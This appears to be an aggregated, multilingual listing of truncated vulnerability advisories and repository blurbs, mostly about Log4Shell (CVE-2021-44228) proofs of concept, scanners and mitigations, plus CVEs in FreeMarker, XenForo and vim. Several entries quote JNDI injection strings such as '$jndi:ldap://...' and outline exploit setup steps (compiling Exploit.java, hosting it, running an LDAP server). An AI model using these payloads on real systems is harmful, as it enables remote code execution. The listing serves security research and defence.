EUVD-2026-75251

Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled it's by default enabled. This issue affects Apache FreeMarker from 2.2.0...

CVE-2026-84939 Apache FreeMarker, Apache FreeMarker: A malformed locale may be exploitable for path traversal attacks

Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled it's by default enabled. This issue affects Apache FreeMarker from 2.2.0...

CVE-2021-44228

CVE-2021-44228（Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞，我们建议您更新到最新版本。 与 Log4Shell（CVE-2021-44228）相关的安全公告/通报 使用方法： 下载此项目，编译漏洞利用代码 blob/master/src/main/java/Exploit.java，并启动一个允许下载已编译二进制的 Web 服务器。 root@kitploit: git clone...

log4shell

Log4Shell 本项目演示了log4shell安全漏洞的工作原理。 该漏洞在CVE-2021-44228中有详细描述。 本项目仅用于教学目的。 只能在您自己的系统上使用，且仅用于实验目的。 任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。 命令示例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello '$jndi:ldap://'"$ldapserver"'/run=log4shell.Exploit' hello...

vulescanjndilookup

vulescanjndilookup 用于检测CVE-2021-44228漏洞的自动化工具 要求： Python v. 3 安装： git clone https://github.com/MiguelM001/vulescanjndilookup.git 执行： python3 vulescanjndilookup.py -h python3 vulescanjndilookup.py -d / python3 vulescanjndilookup.py -d /home/usuario...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo 一个用于演示 Log4j 漏洞（CVE-2021-44228）如何被利用的简单程序。 运行演示： 要启动该程序，只需在 UNIX 系统上运行 start.sh，或在 Windows 上运行 start.bat。 用户输入将被读取，并使用 Log4j 框架记录到控制台。 默认情况下，Log4j 库生成的日志消息不会为 JNDI 替换提供任何服务器不可达 / 主机未找到的错误。（我想这也是该漏洞能够被隐蔽利用的一个主要原因） 也可以尝试使用子域名，例如 $jndi:ldap://test29.google.com/blah，有时 JNDI...

vim security update

9.1.083-9.0.1.el102.20 - Remove upstream references Orabug: 31197557 2:9.1.083-9.20 - RHEL-253668 CVE-2026-28420 buffer overflow in terminal emulator 2:9.1.083-9.19 - RHEL-215660 CVE-2026-55892 vim: stack out-of-bounds write in dumpprefixes 2:9.1.083-9.18 - RHEL-215683 CVE-2026-59857 vim: stack...

Weblogic

英語｜ 中国語 WebLogic 脆弱性の研究テーマ Weblogic CVE-2023-21931 脆弱性の調査手法: デシリアライゼーション後の悪用 Abstract：近年、Weblogic のデシリアライゼーション脆弱性は、そのトリガーポイントに焦点を当てて発見されてきました。しかし、デシリアライゼーションに関わるものの、実際には悪用できないポイントは多く、通常の脆弱性調査では見落とされがちです。業界では「ポストデシリアライゼーション」脆弱性についてさらなる議論が行われており、一見悪用不可能に見える脆弱性が、その後の技術によって実際に悪用される可能性があります。例えば、bind ま...

CVE-2026-36374

描述 已发现一个公共端点，允许使用可预测的标识符（证书代码）进行证书查询，且无需任何身份验证或授权机制。 通过枚举该标识符，攻击者可以访问第三方个人数据，包括全名、CPF（巴西个人纳税人登记号）、RG（巴西身份证号）、出生日期和出生地。 同时还观察到，即使证书持有人选择在专业网络或其他平台上公开分享其带有部分脱敏个人数据的文凭，证书标识符通常仍然可见。通过该标识符，可以直接查询端点并获取完整数据，完全绕过界面中实施的脱敏机制。 受影响的端点 https://www.fiap.com.br/consultadocumento 载荷示例 8 字符标识符 概念验证（PoC）...

CVE-2021-44228

Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...

log4jcheck

Northwave Log4j CVE-2021-44228 チェッカー 2021年12月10日（金）、Javaライブラリ 'log4j' 2 におけるリモートコード実行（RCE）脆弱性に対応する新しいProof-of-Concept 1 が公開されました。この脆弱性は、ソフトウェアの開発者に事前に開示されていませんでした。この脆弱性はCVE-2021-44228 3 として追跡されています。脆弱性の詳細については、Northwave Threat Response 4 を参照してください。 Northwaveは、一般的なHTTPヘッダーへのペイロードの注入と、HTTP...

Log4j_CVE-2021-44228

Log4j の脆弱性は、「Log4Shell」または「CVE-2021-44228」としても知られ、Apache Log4j ライブラリにおける重大なセキュリティ欠陥です。Log4j は広く使われている Java ベースのロギングフレームワークであり、開発者はアプリケーションからのメッセージをファイル、データベース、コンソール出力などのさまざまな宛先に記録できます。 この脆弱性は2021年12月に発見され、その深刻度と悪用の可能性から大きな注目を集めています。影響を受けるのは Log4j 2.x 系で、場合によってはそれ以前のバージョンも影響を受けます。Log4j...

Log4jTools

Log4jTools 用于调查 Log4j CVE-2021-44228 的工具 漏洞说明与演示 https://www.youtube.com/watch?v=0-abhd-CLwQ FetchPayload.py （从 JNDI 查找提供的 LDAP 路径获取 Java payload） 依赖：curl（系统自带），requests（Python） 示例命令： root@kitploit: python FetchPayload.py ldap://maliciouserver:1337/path + getting object from...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 步骤 1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP） 1. cd src/main/java 2. javac Log4jRCE.java 3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888 2. 启动 LDAP 服务器 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd marshalsec 3...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: Apache Log4j2 リモートコード実行 CVSS 10.0 CRITICAL | CWE-502: 信頼されていないデータのデシリアライゼーション | CWE-917: 式言語インジェクションの不適切な無害化 概要 Log4Shell CVE-2021-44228 は、2020年代でおそらく最も深刻な脆弱性であり、Apache Log4j2 バージョン 2.0 から 2.14.1 に影響を与えます。2021年11月に Alibaba Cloud Security の Chen Zhaojun...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j リモートコード実行） log4j-core の全バージョン =2.0-beta9 かつ =2.14.1 1.x 系には他にも脆弱性があります。最新バージョンに更新することをお勧めします。 Log4Shell CVE-2021-44228 に関連するセキュリティアドバイザリ / 速報 使用方法: このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイル済みバイナリをダウンロードできる Web サーバーを起動してください。...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

regresshion-check

regresshion-check regresshion-check は、CVE-2024-6387 に対する脆弱性を SSH サーバーでチェックする Rust CLI ツールです。単一の IP またはファイル内の改行で区切られた複数の IP/CIDR を入力として受け取ります。脆弱性が検出された IP については、逆 DNS ルックアップとバージョン文字列を含めて出力します。 readme に記載されている IP は例示のみです -- 使用しないでください 前提条件 Rust と Cargo がインストールされていること。rustup を使用して Rust と Cargo...

CVE-2026-73313

CVE-2026-73313 XenForo 2.3.13 之前的版本可能使用属于其他用户的通行密钥完成某个用户的两步登录。 发生了什么 通行密钥管理器使用断言中提供的凭据 ID 执行全局查找，并正确验证该凭据的 WebAuthn 签名。随后，TFA 提供程序将结果简化为布尔值，而未检查凭据所有者是否与密码登录待处理的用户匹配。 知道目标正确密码的攻击者可以使用自己注册的通行密钥来应答目标的通行密钥挑战。登录将以目标身份完成。当目标为管理员时，该共享流程同样影响 ACP 登录。 这是第一因素被攻破后的 MFA...

Log4shell

이글루코퍼레이션 원치현 Log4shell 分析レポート Log4shell CVE-2021-44228 Log4j は Apache ソフトウェア財団の無料オープンソースで、Java ベースのあらゆるアプリケーションで使用可能。様々な Java ベースのサービスのログ記録、JNDI データ及びオブジェクトを発見・参照するための Java LDAP 1389 Lookup。JNDI を介して見つけたリソースを使用する機能 脆弱サーバー起動用 Docker イメージファイルのダウンロード root@kitploit: sudo git clone sudo docker build...